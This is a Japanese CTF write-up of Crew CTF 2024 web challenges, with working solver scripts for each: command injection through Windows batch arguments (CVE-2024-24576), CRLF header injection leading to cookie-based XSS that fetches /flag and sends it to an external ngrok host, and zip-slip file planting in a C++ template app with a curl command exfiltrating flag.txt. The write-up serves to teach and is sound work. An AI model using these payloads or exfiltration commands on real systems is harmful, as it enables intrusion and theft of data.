Crew CTF 2024 web writeup
Crew CTF 2024も脆弱エンジニアで参加しまして、結果19位でした。並行してn00bzCTFとかTFC CTFが開催されていて、いつもより参加人数は少なかったですが、それでも結構いい成績だったと思います。
自分はあと一歩で二週連続全完だったのですが、惜しくも届かず、というところでした。
問題としては、rust、c++、java、コードなし、といつものpythonやjavascriptが無いので、ストレスではありましたが、難易度はそこそこといったようでした。非想定解が多すぎましたが、今回はPwn担当の人が作成したようで、まあしょうがないのかなと思いました。
✅Malkonkordo(82pts 57/575 クリア率9.9%)
let app = Route::new()
/* snap */
.nest(
"/ai", // Look boss! We have AI in our product! ("Admin Interface") -V // You get a pass this time, but if you mention AI again, I will f****** piledrive you. -T
Route::new()
.at("/", StaticFileEndpoint::new("./static/admin.html"))
.nest("/run", get(route_admin_run)) // TODO: change to post. -V // https://thedailywtf.com/articles/The_Spider_of_Doom -T
.around(middleware_localhost),
)
/* snap */
/ai
というルートにadmin用のページがあるようだ。ただし、middleware_localhost
というWAFで防がれている。
async fn middleware_localhost<E: Endpoint>(next: E, req: Request) -> Result<Response> {
// No authentication? -T // "I [too] like to live dangerously." -V
println!("{}", req.uri());
if let Some(host) = req.uri().host().or(req.header("host")) {
if !host.trim_start().starts_with("127.0.0.1") {
return Err(Error::from_status(StatusCode::UNAUTHORIZED));
}
} else {
return Err(Error::from_status(StatusCode::UNAUTHORIZED));
}
let resp = next.call(req).await?.into_response();
Ok(resp)
}
/* snap */
ヘッダーのHost
が127.0.0.1
であることを確認しているだけなので、リクエストで書き換えれば良い。
/ai
下では様々なルートがあるが、気になるのは/ai/run
のping2
というコマンド。.\scripts\ping.bat
というスクリプトを実行している。Windowsだったんかい。
fn handle_cmd(cmd: &str, arg: &str) -> Result<String, String> {
eprintln!("cmd: {}; arg: {}", cmd.escape_default(), arg);
match cmd {
/* snap */
"ping2" => {
if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
return Err("bad chars found".to_string());
}
let routput = Command::new(".\\scripts\\ping.bat")
.arg(arg)
.output();
if let Err(_e) = routput {
return Err("failed to run ping2 output".to_string());
}
Ok(String::from_utf8_lossy(&routput.unwrap().stdout).to_string())
}
/* snap */
}
.\scripts\ping.bat
は、IPアドレスを受取り、pingコマンドを行うスクリプトのようだ。
@echo off
mode con: cols=55 lines=12
title Network Checker
REM Server to be pinged
SET server=%1
REM SNAP
SET lastFail=never
SET successfulRepetitions=0
SET iter=0
REM SNAP
ECHO Pinging %server%...
PING -n 1 -l %packetSize% %server% >NUL
ここで、IPアドレスにWAFが適用されていることに気づく。
if arg.contains(['\'', '"', '*', '!', '@', '^', '?']) {
return Err("bad chars found".to_string());
}
"
や'
が禁止されているのはなぜだろうか?もしかしてそうしないとRCEの危険性があるのだろうか?Windowsで使えるテクニックは無いかとここやここを読んでいると、このようなbypassをみつけた
In Windows, %VARIABLE:~start,length% is a syntax used for substring operations on environment variables.
ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.
どうやら、環境変数の一部の文字を利用できるらしい。そこで、ダブルクオートが含まれる環境変数はないかとデフォルトで定義された環境変数一覧を探してみたが駄目だった。
これがrustで実行されていることを思い出し、rust関係の環境変数で良いものがいないか一覧をさがしてみると、
CARGO_PKG_DESCRIPTION — The description from the manifest of your package.
[package]
name = "malkonkordo"
version = "1.0.0"
edition = "2021"
authors = ['TrebledJ']
description = "An awesome, minimal, down-to-earth markdown previewer rendered in the style of Discord... well, close enough. Why would you need such a tool? Good question! Have you ever thought to yourself: Hmm, I'd like to preview a message without switching to personal DMs or chucking the message in a random channel. Now ALL your problems are assuaged by this amicable site! \"In a serener Bright, \\ In a more golden light \\ I see \\ Each little doubt and fear, \\ Each little discord here \\ Removed.\" - Emily Dickinson"
都合よくダブルクオートが含まれているので、上記のダブルクオートをCARGO_PKG_DESCRIPTION
の364文字目に置き換えて、ソルバーを作成した。
import requests
URL = "http://34.89.30.122/"
# URL = "http://localhost:8000/"
EVIL = "https://tchen.ngrok.pizza/"
r = requests.get(URL + "ai/run", headers={
"Host": "127.0.0.1"
}, params={
"cmd": "ping2",
"arg": "x%CARGO_PKG_DESCRIPTION:~364,1%| type flag.txt"
})
print(r.text)
Discordで話を聞いたところわかったこと
-
review.rs
は完全に無視して解いたが、実はそれを利用してSSRFするのが想定解で、Host書き換えは非想定解だった -
CARGO_PKG_DESCRIPTION
の代わりに、シェルを実行したときの文字列が格納されたCMDCMDLINE
を利用しても良い - この脆弱性はCVE-2024-24576として発表されている
✅curelf (417pts 13/575 クリア率2.3%)
ソースコードが与えられていない問題。本を選択してカートに入れることができたり、チェックアウトすることができる。
また、webページを報告するとbotが巡回してくれるサイトがあり、ヒントとしてbotのみがアクセスできる/flag
というルートが存在することが示されている。
#...
@app.route('/flag')
def flag():
if request.remote_addr == admin_ip:
return os.environ["FLAG"]
else:
return "You are not admin!"
#...
いろいろ触ってみて気づいたこと
-
カートに追加するとCookieに
Cart="{\"cartItems\": \"1\"}"
といった値が追加される。home.js
でこの値がt.innerHTML
に代入されるので、この値を書き換えるとXSSをおこなうことができる。static/js/home.jsfunction o(e) { e = document.cookie.match("(^|;)\\s*" + e + "\\s*=\\s*([^;]+)"); return e ? e.pop() : "" } setBadgeCheckoutCount = function() { var e = 0; try { var t = JSON.parse(o("Carts")); console.log(t); "" !== t && (e = JSON.parse(decodeURIComponent(t)).cartItems) } catch (e) { console.log(e) } t = document.getElementById("test"); t.innerHTML = "CART " + e; } setBadgeCheckoutCount();
-
ボットのページに次のように書いているので、nginxで動いていることがわかる。
Status will be shown here after submission. Please use http://nginx/ for report to the admin
-
存在しないファイルが見つかる(例えば
/static/css/profileHome.css
)と、//static/css/profileHome.css
にリダイレクトされた後、何度もリダイレクトして、最終的に回数制限でストップする。
以上のことから、nginxのredirectの設定がおかしいのではないかという疑惑があがった。Hacktrickを読んでみると、HTTP Request Splittingという攻撃ができるらしい。
以下のファイルは想像だが、
location / {
try_files $uri @redirect
}
location @redirect {
return 302 /$uri
}
のようになっているとする。ここで、$uri
を使うと正規化されてしまうので、例えば%0D%0A
は\r\n
に変換される。したがって、
http://example.com/foobar%0D%0ASet-Cookie:%20biz=baz
の$uri
は
http://example.com/foobar
Set-Cookie: biz=baz
となり、Headerは
HTTP/1.1 302 Moved Temporarily
Location: http://example.com/foobar
Set-Cookie: biz=baz
となり、任意のヘッダーを挿入できてしまう。これを利用して、Cart
のCookieを書き換えられそうだ。そのようなURLをBotに送ることでフラグを入手した。
import requests
from base64 import b64encode
# URL = "http://51.120.3.165/"
URL = "http://nginx/"
BOT = "http://51.120.3.165:16005/"
EVIL = "http://tchen.ngrok.pizza/"
payload = f"""
(async () => {{
document.location.assign("{EVIL}res?v=" + await(await fetch("/flag")).text())
}})()
""".encode()
json = f'''%22%7B%5C%22cartItems%5C%22:%20%5C%22%3Cimg%20src=X%20onerror='eval(atob(%60{b64encode(payload).decode()}%60))'%3E%5C%22%7D%22'''
url = f"""{URL}%0D%0ASet-Cookie:%20Carts={json};%20Path=/"""
r = requests.post(BOT + "visit", json={
"url": url,
})
Discordで話を聞いたところわかったこと
- プロファイルページにCSRFの脆弱性があったらしく、さらに書き換えたプロファイルでXSSを行うこともできたらしい。それを利用した解法もあった(非想定解)
✅Niceview 1 (417pts 11/575 クリア率1.9%)
msczという形式の楽譜ファイルをアップロードすると、wavファイルしてくれるサービス。/app/flag.txt
を入手するのが目的。motivation.mscz
というファイルが配布されているので、それにいい感じに変更を加えてアップロードできる。
Step 1: Zip slip
中を覗いてみると、msczの実態はzipファイルで、それを解凍していることがわかる。
juce::Result synthesise(const std::string& musescorePath, const std::string& outputPath)
{
juce::File mscx;
if (auto res = unzipMusescoreFile(mscx, musescorePath); !res)
return res;
/* snap */
}
さらに、/view/<filename>
というルートがあるが、どうやらDrogon CSPというテンプレートエンジンを描画してくれるみたいだ。
int main(int, const char*[])
{
/* snap *//
app().registerHandler(
"/view/{}",
[](const HttpRequestPtr& req, std::function<void(const HttpResponsePtr&)>&& callback, const std::string& page) {
logRequest(req);
BadBadReason reason = isViewBadBad(page);
switch (reason) {
/* snap */
case FileOk: {
auto resp = HttpResponse::newHttpViewResponse(page);
callback(resp);
break;
}
}
});
ありがたいことに、ファイルを追加すると自動で読み取れるように変換してくれるような設定になっている。
{
/* snap */
"app": {
/* snap */
"load_dynamic_views": true,
"dynamic_views_path": ["./views/d"],
/* snap */
}
}
したがって、zip slip攻撃に対する対策がなされていないので、/view/d/<ファイル名>.csp
を作成するようにした。ChatGPTにほとんど書いてもらった
ここまでのソルバー
import os
import sys
import time
import zipfile
import requests
# URL = "http://niceview1.chal.crewc.tf:1337/"
URL = "http://localhost:8080/"
EVIL = "https://tchen.ngrok.pizza/"
attack_filename = "tepelchenattack"
attack = f"""foobar"""
# os.remove('a.mscz')
with zipfile.ZipFile("a.mscz", 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk("motivation"):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, start="motivation")
zipf.write(file_path, arcname)
malicious_file_path = f'/app/views/d/{attack_filename}.csp'
zipf.writestr(malicious_file_path, attack)
r = requests.post(URL + "upload", files={
'score': ('a.mscz', open('./a.mscz', "rb").read(), 'application/octet-stream'),
})
time.sleep(3)
r = requests.get(URL + f"view/{attack_filename}")
print(r.text)
あれ、、、、値が返って来てないぞ...?(この後衝撃の事実が明らかに)
Step 2: CSPファイルのWAF回避
アップロードしたファイルは、/view/d/
から読み取る際に、WAFによって多くの文字列が禁止されてしまっている。
BadBadReason isViewBadBad(const std::string& tmpl)
{
std::string filename = "./views/d/" + tmpl + ".csp";
if (!checkFileExists(filename)) {
return FileNotExist;
}
std::ifstream file{filename};
file.seekg(0, std::ios::end);
size_t size = file.tellg();
if (size > GOLF_SIZE) { // Let's go golfing!
return FileTooBig;
}
// Read file.
std::string buffer(size, ' ');
file.seekg(0);
file.read(&buffer[0], size);
static const std::string badbadstrings[] = {"G", "D", "A", "E", "define", "pragma",
"##", "$$", "c++", "<<", ">>", "{%", "view", "layout", "[[", "open",
"read", "exec", "stream", "char", "string"};
for (const auto& s : badbadstrings)
if (buffer.find(s) != std::string::npos) {
LOG_INFO << "FOUND " << s;
// Found.
return FileHasBadString;
}
return FileOk;
}
APIを読むと、許可されているタグは<%inc %>
だけであることがわかる。
ヘッダーファイルを読み込んだ時点でコードを実行する方法はないですか?とchatgptに聞いたところ、静的クラスのコンストラクタを使えばいいと。なるほど。ヘッダーファイルならばWAFを通らないので、好きなコードを書くことができる。
こいつ何かっこつけてるん?
以下がソルバー。ソルバーを実行してファイルが/view/d
に配置された時点で、ヘッダーファイルが読み込まれるため、/view/d/<ファイル名>
を取得しにいかなくてもサーバーにフラグが返ってくる(のでWAFは気にしなくてもよい)。
import os
import zipfile
import requests
URL = "http://niceview1.chal.crewc.tf:1337/"
# URL = "http://localhost:8080/"
EVIL = "https://tchen.ngrok.pizza/"
attack_filename = "tepelchenattack"
attack = f"""<%inc #include "{attack_filename}.hpp" %>abc"""
attack_hpp = """
#include <stdio.h>
class StaticInit {
public:
StaticInit() {
system(\"curl https://tchen.ngrok.pizza/?v=$(cat /app/flag.txt)\");
}
};
static StaticInit initObject;
"""
with zipfile.ZipFile("a.mscz", 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk("motivation"):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, start="motivation")
zipf.write(file_path, arcname)
malicious_file_path = f'/app/views/d/{attack_filename}.csp'
zipf.writestr(malicious_file_path, attack)
malicious_file_path = f'/app/views/d/{attack_filename}.hpp'
zipf.writestr(malicious_file_path, attack_hpp)
r = requests.post(URL + "upload", files={
'score': ('a.mscz', open('./a.mscz', "rb").read(), 'application/octet-stream'),
})
結果:
127.0.0.1 - - [04/Aug/2024 04:35:33] "GET /?v=crewThat's_quite_a_nice_view!_Dynamic_libraries_are_fun HTTP/1.1" 200 -
127.0.0.1 - - [04/Aug/2024 04:35:34] "GET /?v=crew_in'nit?_2061b82f3caf3e55df0c1d8cd HTTP/1.1" 200 -
一瞬戸惑ってしまったが、これはcurl X crew{A,B}
がcurl X crewA
とcurl X crewB
に分割されてしまった結果だろう、ということで、2つをコンマでつなげてフラグを得た。
Newview 2を解いていてわかった衝撃の事実
/view/d/<ファイル名>
を取得しにいかなくてもサーバーにフラグが返ってくる。が、問い合わせてもそもそも結果が返ってこないのが気になってはいた。
上記のコードをよく読むと、/view/foobar.csp
に問い合わせたときに、取得されるのは/views/d/foobar.csp
だが、WAFを通るのは/views/d/foobar.csp.csp
であることがわかる。したがって、<%inc %>
で回避したとか全く関係なく、読み取るファイルがWAFによって検証されることは最初からなかったのだ。
import os
import time
import zipfile
import requests
URL = "http://niceview1.chal.crewc.tf:1337/"
# URL = "http://localhost:8080/"
EVIL = "https://tchen.ngrok.pizza/"
attack_filename = "tepelchenattack"
attack = f"""<%inc #include <fstream> %>
<%c++
std::ifstream ifs("/app/flag.txt", std::ios::in);
std::string str;
std::getline(ifs, str);
$$ << str;
%>"""
with zipfile.ZipFile("a.mscz", 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk("motivation"):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, start="motivation")
zipf.write(file_path, arcname)
malicious_file_path = f'/app/views/d/{attack_filename}.csp'
zipf.writestr(malicious_file_path, attack)
malicious_file_path = f'/app/views/d/{attack_filename}.csp.csp'
zipf.writestr(malicious_file_path, "")
r = requests.post(URL + "upload", files={
'score': ('a.mscz', open('./a.mscz', "rb").read(), 'application/octet-stream'),
})
time.sleep(10)
r = requests.get(URL + f"view/{attack_filename}.csp")
print(r.text)
# 127.0.0.1 - - [04/Aug/2024 04:35:33] "GET /?v=crewThat's_quite_a_nice_view!_Dynamic_libraries_are_fun HTTP/1.1" 200 -
# 127.0.0.1 - - [04/Aug/2024 04:35:34] "GET /?v=crew_in'nit?_2061b82f3caf3e55df0c1d8cd HTTP/1.1" 200 -
✅Niceview 2 (457pts 8/575 クリア率1.4%)
Niceview 1とほとんど同じだが、zipから解凍されたファイルのほとんどがWAFを通るようになっている。その代わり、利用できない文字列が少なくなっている。
juce::Result unzipMusescoreFile(juce::File& mscx, const std::string& musescorePath)
{
/* snap */
for (int i = 0; i < mscz.getNumEntries(); i++) {
juce::String fn = mscz.getEntry(i)->filename;
for (char c : fn) {
if (!(isalpha(c) || c == '/' || c == '.' || c == '-' || c == '_'))
return juce::Result::fail("invalid filename");
}
juce::String trimmed = fn.trimEnd();
if (trimmed.endsWith(".mss") || trimmed.endsWith(".mscx") || trimmed.endsWith(".xml")
|| trimmed.endsWith(".json") || trimmed.endsWith(".png"))
{
continue;
}
juce::InputStream* riverFlowsInYou = mscz.createStreamForEntry(i);
if (!riverFlowsInYou) {
// Mr. Yiruma doesn't like your river of code.
return juce::Result::fail("bad stream");
}
juce::String content = riverFlowsInYou->readEntireStreamAsString();
int size = content.length();
if (size > GOLF_SIZE) {
// You should get a 5 iron and go learn from Mr. Woods.
return juce::Result::fail("file too big");
}
static const std::string badbadstrings[] = {"G", "D", "A", "E", "define", "pragma", "##", "__",
"open", "read", "sys", "exec", "stream", "char", "string"};
for (const auto& s : badbadstrings)
if (content.contains(s)) {
// Go see a luthier to get your strings fixed.
return juce::Result::fail("file contains bad string");
}
}
/* snap */
}
Niceview 1のどちらの解法も、禁止単語を含むファイルをアップロードしているため利用できない。<%c++ %>
が利用できるので、C++を直接実行できるが、open
、read
、sys
、exec
、stream
、char
、string
のいずれも利用しないでファイルを読み取る方法は思いつかなかった。
ここで、pngなどのファイルはこの制約を受けないこと、そして、WAFの制約を受けるのは解凍した時のみであることを利用して、pngファイルとしてアップロードしたものを、cspファイルに後から書き換えるという方針を思いついた。
import os
import time
import zipfile
import requests
URL = "http://niceview2.chal.crewc.tf:1337/"
# URL = "http://localhost:8080/"
EVIL = "https://tchen.ngrok.pizza/"
attack_filename = "tepelchenattack"
attack1 = f"""<%c++
$$ << rename("/app/views/d/{attack_filename}_real.png", "/app/views/d/{attack_filename}_real.csp");
%>
"""
attack2 = f"""
<%inc #include <fstream> %>
<%c++
std::ifstream ifs("/app/flag.txt", std::ios::in);
std::string str;
std::getline(ifs, str);
$$ << str;
%>"""
with zipfile.ZipFile("a.mscz", 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk("motivation"):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, start="motivation")
zipf.write(file_path, arcname)
malicious_file_path = f'/app/views/d/{attack_filename}.csp'
zipf.writestr(malicious_file_path, attack1)
malicious_file_path = f'/app/views/d/{attack_filename}.csp.csp'
zipf.writestr(malicious_file_path, "")
malicious_file_path = f'/app/views/d/{attack_filename}_real.png'
zipf.writestr(malicious_file_path, attack2)
malicious_file_path = f'/app/views/d/{attack_filename}_real.csp.csp'
zipf.writestr(malicious_file_path, "")
r = requests.post(URL + "upload", files={
'score': ('a.mscz', open('./a.mscz', "rb").read(), 'application/octet-stream'),
})
for i in range(3):
time.sleep(5)
r = requests.get(URL + f"view/{attack_filename}")
print(r.text)
time.sleep(5)
r = requests.get(URL + f"view/{attack_filename}_real")
print(r.text)
if r.status_code == 200:
break
Discordで話を聞いたところわかったこと
- c++のヘッダーは、拡張子がなんでもいいので、Niceview 1のhppファイルの拡張子をpngに書き換えるだけでフラグをゲットできたらしい。
- Niceview 2の方はzip symlink attackでもクリアできたらしい
BearBurger(495pts 2/575 クリア率0.35%)
想定解を聞いてわかったのは、自分は非想定の方法でadmin昇格していたせいで、admin昇格に使うはずだったSQLiの部分ですごく時間を費やしてしまったことだ。非想定解センサーを働かせなければ。。。
follow up として後日公開
まとめ
ここまで貼ればわかるやろ
Discussion